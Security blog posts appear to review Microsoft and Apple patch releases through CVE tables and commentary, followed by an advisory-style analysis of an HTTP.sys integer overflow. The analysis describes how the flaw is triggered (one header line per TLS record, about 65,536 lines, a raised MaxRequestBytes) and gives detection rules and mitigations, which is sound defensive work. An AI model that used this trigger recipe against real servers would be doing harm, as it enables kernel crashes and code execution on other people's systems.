CVE-2026-33110	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-33112	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40357	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-32185	Microsoft Teams Spoofing Vulnerability	Important	5.5	No	No	Spoofing
CVE-2026-41101	Microsoft Word for Android Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-35440	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40421	Microsoft Word Information Disclosure Vulnerability	Important	4.3	No	No	Info
CVE-2026-41097	Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-40370 †	SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-41613	Visual Studio Code Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-41612	Visual Studio Code Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41611	Visual Studio Code Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-41610	Visual Studio Code Security Feature Bypass Vulnerability	Important	6.3	No	No	SFB
CVE-2026-33839	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33840	Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34330	Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34331	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35423	Windows 11 Telnet Client Information Disclosure Vulnerability	Important	5.4	No	No	Info
CVE-2026-35438	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-41086	Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-34344	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34345	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35416	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-41088	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34343	Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35418	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33835	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34337	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40407	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40397	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42896	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35419	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34336	Windows DWM Core Library Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-33834	Windows Event Logging Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32209	Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-33841	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35420	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40369	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34332	Windows Kernel-Mode Driver Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-34339	Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-34341	Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33838	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34342	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-41095	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34340	Windows Projected File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-40398	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21530	Windows Rich Text Edit Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32170	Windows Rich Text Edit Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-40410	Windows SMB Client Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35415	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34350	Windows Storport Miniport Driver Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-40405	Windows TCP/IP Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-40414	Windows TCP/IP Denial of Service Vulnerability	Important	7.4	No	No	DoS
CVE-2026-40401	Windows TCP/IP Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-40413	Windows TCP/IP Denial of Service Vulnerability	Important	7.4	No	No	DoS
CVE-2026-35422	Windows TCP/IP Driver Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-34351	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40399	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34334	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40406	Windows TCP/IP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-33837	Windows TCP/IP Local Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40415	Windows TCP/IP Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-42825	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34338	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40382	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40380	Windows Volume Manager Extension Driver Remote Code Execution Vulnerability	Important	6.2	No	No	RCE
CVE-2026-40408	Windows WAN ARP Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34333	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34347	Windows Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35417	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42891	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-35429	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-41107	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	7.4	No	No	Info
CVE-2026-40416	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira & Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.

Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.

As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.

This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption. Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook. On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.

Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.

The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI.

There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.

There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.

No new advisories are being released this month.

Looking Ahead

Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The Apple macOS Security Update Review

Sat, 25 Jul 2026 19:02:56 +0200

We’ve received some feedback from those who read the Patch Blog that they would like something similar for macOS updates. Unfortunately, Apple doesn’t schedule these for a particular day, but we can provide our thoughts and analysis on the days they do release their latest patches.

For May 2026, Apple released 82 unique CVEs across the three macOS versions: 79 for macOS Tahoe 26.5, 45 for macOS Sequoia 15.7.7, and 42 for macOS Sonoma 14.8.7. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. However, there are a couple that stand out.

- CVE-2026-28819 (Wi-Fi) stands out as the strongest candidate for the most severe as it states, “An app may be able to execute arbitrary code with kernel privileges.” The combination of arbitrary code execution at the kernel level is about as bad as it gets on a severity scale. Plus, it affects all three macOS versions (Tahoe, Sequoia, and Sonoma).

- CVE-2026-43668 (mDNSResponder) also piques my interest since, “A remote attacker may be able to cause unexpected system termination or corrupt kernel memory.” The remote attack vector with kernel memory corruption on all three OS versions makes this a serious one, especially since mDNSResponder is always running.

- CVE-2026-28972 (Kernel) This one states that “An app may be able to cause unexpected system termination or write kernel memory.” An out-of-bounds write directly into kernel memory on all three OS versions. This one may also have implications in the upcoming Pwn2Own Berlin contest.

Here’s a look at all the bugs released by Apple this month:

82Unique CVEs 79macOS Tahoe 26.5 45macOS Sequoia 15.7.7 42macOS Sonoma 14.8.7

CVE ID	Component	Impact	macOS Tahoe 26.5	macOS Sequoia 15.7.7	macOS Sonoma 14.8.7
CVE-2026-28991	Accelerate	An app may be able to cause a denial-of-service	Yes	No	No
CVE-2026-28988	Accounts	An app may be able to bypass certain Privacy preferences	Yes	No	No
CVE-2026-28959	APFS	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28995	App Intents	A malicious app may be able to break out of its sandbox	Yes	No	No
CVE-2026-1837	AppleJPEG	Processing a maliciously crafted image may lead to a denial-of-service	Yes	No	No
CVE-2026-28956	AppleJPEG	Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory	Yes	Yes	Yes
CVE-2026-39869	Audio	Processing an audio stream in a maliciously crafted media file may terminate the process	Yes	Yes	Yes
CVE-2026-28922	CoreMedia	An app may be able to access private information	Yes	Yes	Yes
CVE-2026-28936	CoreServices	Processing a maliciously crafted file may lead to unexpected app termination	Yes	No	Yes
CVE-2026-28918	CoreSymbolication	Parsing a maliciously crafted file may lead to an unexpected app termination	Yes	No	No
CVE-2026-28878	Crash Reporter	An app may be able to enumerate a user's installed apps	No	Yes	No
CVE-2026-28915	CUPS	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-43659	FileProvider	An app may be able to access sensitive user data	Yes	Yes	Yes
CVE-2026-28923	GPU Drivers	A malicious app may be able to break out of its sandbox	Yes	Yes	Yes
CVE-2026-28925	HFS	An app may be able to cause unexpected system termination or write kernel memory	Yes	Yes	Yes
CVE-2025-43524	Icons	An app may be able to break out of its sandbox	No	Yes	Yes
CVE-2026-43661	ImageIO	Processing a maliciously crafted image may corrupt process memory	Yes	No	No
CVE-2026-28977	ImageIO	Processing a maliciously crafted file may lead to unexpected app termination	Yes	Yes	Yes
CVE-2026-28990	ImageIO	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	Yes
CVE-2026-28978	Installer	A malicious app may be able to break out of its sandbox	Yes	Yes	Yes
CVE-2026-28992	IOHIDFamily	An attacker may be able to cause unexpected app termination	Yes	Yes	Yes
CVE-2026-28943	IOHIDFamily	An app may be able to determine kernel memory layout	Yes	Yes	Yes
CVE-2026-28969	IOKit	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-43655	IOSurfaceAccelerator	An app may be able to cause unexpected system termination or read kernel memory	Yes	No	No
CVE-2026-43654	Kernel	An app may be able to disclose kernel memory	Yes	Yes	Yes
CVE-2026-28908	Kernel	An app may be able to modify protected parts of the file system	Yes	Yes	Yes
CVE-2026-28954	Kernel	A maliciously crafted disk image may bypass Gatekeeper checks	Yes	Yes	Yes
CVE-2026-28897	Kernel	A local user may be able to cause unexpected system termination or read kernel memory	Yes	Yes	Yes
CVE-2026-28952	Kernel	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28951	Kernel	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-28972	Kernel	An app may be able to cause unexpected system termination or write kernel memory	Yes	Yes	Yes
CVE-2026-28986	Kernel	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28987	Kernel	An app may be able to leak sensitive kernel state	Yes	Yes	Yes
CVE-2026-28983	LaunchServices	A remote attacker may be able to cause a denial of service	Yes	No	No
CVE-2026-28929	Mail Drafts	Replying to an email could display remote images in Mail in Lockdown Mode	Yes	Yes	Yes
CVE-2026-43653	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	No	Yes
CVE-2026-28985	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	No	No
CVE-2026-43668	mDNSResponder	A remote attacker may be able to cause unexpected system termination or corrupt kernel memory	Yes	Yes	Yes
CVE-2026-43666	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	Yes	Yes
CVE-2026-28941	Model I/O	Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents	Yes	Yes	No
CVE-2026-28940	Model I/O	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	No
CVE-2026-28961	Network Extensions	An attacker with physical access to a locked device may be able to view sensitive user information	Yes	No	No
CVE-2026-28906	Networking	An attacker may be able to track users through their IP address	Yes	Yes	Yes
CVE-2026-28840	PackageKit	An app may be able to gain root privileges	No	Yes	Yes
CVE-2026-43656	Quick Look	Parsing a maliciously crafted file may lead to an unexpected app termination	Yes	Yes	Yes
CVE-2026-43652	Sandbox	An app may be able to access protected user data	Yes	No	No
CVE-2026-39870	SceneKit	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	Yes
CVE-2026-28846	SceneKit	A remote attacker may be able to cause unexpected app termination	Yes	Yes	Yes
CVE-2026-28993	Shortcuts	An app may be able to access user-sensitive data	Yes	Yes	Yes
CVE-2026-28848	SMB	A remote attacker may be able to cause unexpected system termination	Yes	Yes	No
CVE-2026-28930	Spotlight	An app may be able to access protected user data	Yes	No	No
CVE-2026-28974	Spotlight	An app may be able to cause a denial-of-service	Yes	Yes	No
CVE-2026-28996	Storage	An app may be able to access sensitive user data	Yes	Yes	Yes
CVE-2026-28919	StorageKit	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-28924	Sync Services	An app may be able to access Contacts without user consent	Yes	Yes	Yes
CVE-2026-39871	TV App	An app may be able to observe unprotected user data	Yes	Yes	Yes
CVE-2026-28976	UserAccountUpdater	An app may be able to gain root privileges	Yes	No	No
CVE-2026-43660	WebKit	Processing maliciously crafted web content may prevent Content Security Policy from being enforced	Yes	No	No
CVE-2026-28907	WebKit	Processing maliciously crafted web content may prevent Content Security Policy from being enforced	Yes	No	No
CVE-2026-28962	WebKit	Processing maliciously crafted web content may disclose sensitive user information	Yes	No	No
CVE-2026-43658	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28905	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28847	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28904	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28955	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28903	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28953	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28902	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28901	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28913	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28883	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28958	WebKit	An app may be able to access sensitive user data	Yes	No	No
CVE-2026-28917	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28947	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28946	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28942	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28971	WebKit	A malicious iframe may use another website's download settings	Yes	No	No
CVE-2026-28944	WebRTC	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28819	Wi-Fi	An app may be able to execute arbitrary code with kernel privileges	Yes	Yes	Yes
CVE-2026-28994	Wi-Fi	An attacker in a privileged network position may be able to perform denial-of-service attack using crafted Wi-Fi packets	Yes	Yes	Yes
CVE-2026-28914	zip	A maliciously crafted ZIP archive may bypass Gatekeeper checks	Yes	No	No
CVE-2026-28920	zlib	Visiting a maliciously crafted website may leak sensitive data	Yes	Yes	Yes

CVEs marked with the scarab logo were reported through the TrendAI Zero Day Initiative program.

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys

Sat, 25 Jul 2026 19:02:52 +0200

In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges. The following is a portion of their write-up covering CVE-2026-47291, with a few minimal modifications.

A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests.

A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.

The Vulnerability

HTTP.sys is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.

When operating over HTTPS, HTTP.sys delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a per-record basis: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to HTTP.sys as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:

The decrypted payload of each TLS record is delivered independently to the HTTP parser via

UlHttpBufferReceiveEvent(), regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches HTTP.sys.

The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The capacity field stores the current number of allocated slots in the buffer reference array. The count field stores the number of slots currently in use. The ref_array_ptr field points to the dynamically allocated array of 8-byte buffer reference entries.

An integer overflow vulnerability exists in HTTP.sys. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When HTTP.sys receives data for an HTTP/1.x request, it allocates a UL_REQUEST_BUFFER structure for each receive indication and tracks these buffers in the per-request reference array described above. The count field records the number of active buffer references, and the capacity field records the total number of allocated slots.

As the HTTP parser (UlpParseNextRequest()) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When count reaches capacity, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + capacity * 8, the contents of the existing array are copied via memmove using count * 8 as the copy length, and capacity is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.

After 13,107 growth events, capacity reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, count (which is now 65,536 or greater) exceeds the zero capacity, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the memmove copies count * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.

Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and UlpMergeBuffers() further combines buffers within HTTP.sys. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through UlHttpBufferReceiveEvent() into UlpCopyIndicatedData(). If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing UlpAdjustBuffers() to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.

To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The MaxRequestBytes registry value (at HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping MaxRequestBytes at or below 65,535 bytes represents the most conservative configuration to prevent this attack.

A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.

Notes:

• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.

• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.

• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.

Source Code Walkthrough

The following code snippet was taken from HTTP.sys version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.

In UlpParseNextRequest():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.

The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.

An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:

Decrypted traffic inspection:

After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Encrypted traffic heuristics:

Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Notes:

• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.

• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.

• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.

Conclusion

This vulnerability was patched by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.

Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

The June 2026 Apple Security Update Review

Sat, 25 Jul 2026 19:02:52 +0200

We’re back with our look at the Apple macOS and iOS security updates. As this is a new feature for us, please let us know your feedback on the blog.

For Jun 2026, Apple released 37 unique CVEs across iOS 26.5.2 / iPadOS 26.5.2, macOS Tahoe 26.5.2, Safari 26.5.2. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. The overwhelming majority (31 of 37) are WebKit/WebRTC bugs reachable through malicious web content. Most of those are crash/DoS bugs rather than code execution, so the real risk lives in the small set of kernel bugs and the handful of WebKit sandbox escapes. However, there are a couple that stand out.

- CVE-2026-43724 (Kernel) – According to Apple, “An app may be able to cause unexpected system termination or write kernel memory.” A kernel memory write is the highest-value primitive here: it's the privilege-escalation half of a full exploit chain and leads to complete device control. The bug was credited to Hyunwoo Kim (@v4bel), who is known to be a serious kernel researcher.

- CVE-2026-39868 (Kernel) – Another kernel bug, this one could “cause unexpected system termination or corrupt kernel memory.” This is kernel memory corruption, and notably credited to a roster of elite offensive researchers (STAR Labs, Positive Technologies, Baidu Security). This kind of attribution usually signals a weaponizable, possibly Pwn2Own-grade bug rather than a theoretical crash.

- CVE-2026-43725 / CVE-2026-43701 (WebKit) – Apple states these bugs could allow a website to process restricted web content outside the sandbox. I'm flagging this sandbox-escape pair over the many WebKit crash bugs because a sandbox escape is the bridge that turns a web-content bug into a path toward the kernel issues above. It's the most dangerous remotely-triggered class in the release.

Here’s a look at all the bugs released by Apple this month:

Apple Security Update – June 29, 2026 37Total CVEs 22Denial of Service 7Information Disclosure 3Memory Corruption 2Elevation of Privilege 2Sandbox Escape 1Spoofing

Apple security release — June 29, 2026. "Yes/No" indicates whether each update is affected. CVE IDs link to NVD.
CVE ID	Component	Impact	iOS 26.5.2 / iPadOS 26.5.2	macOS Tahoe 26.5.2	Safari 26.5.2
CVE-2026-43743	IOGPUFamily	An app may be able to cause unexpected system termination	Yes	Yes	No
CVE-2026-39868	Kernel	An app may be able to cause unexpected system termination or corrupt kernel memory	Yes	Yes	No
CVE-2026-43722	Kernel	An app may be able to leak sensitive kernel state	Yes	Yes	No
CVE-2026-43724	Kernel	An app may be able to cause unexpected system termination or write kernel memory	Yes	Yes	No
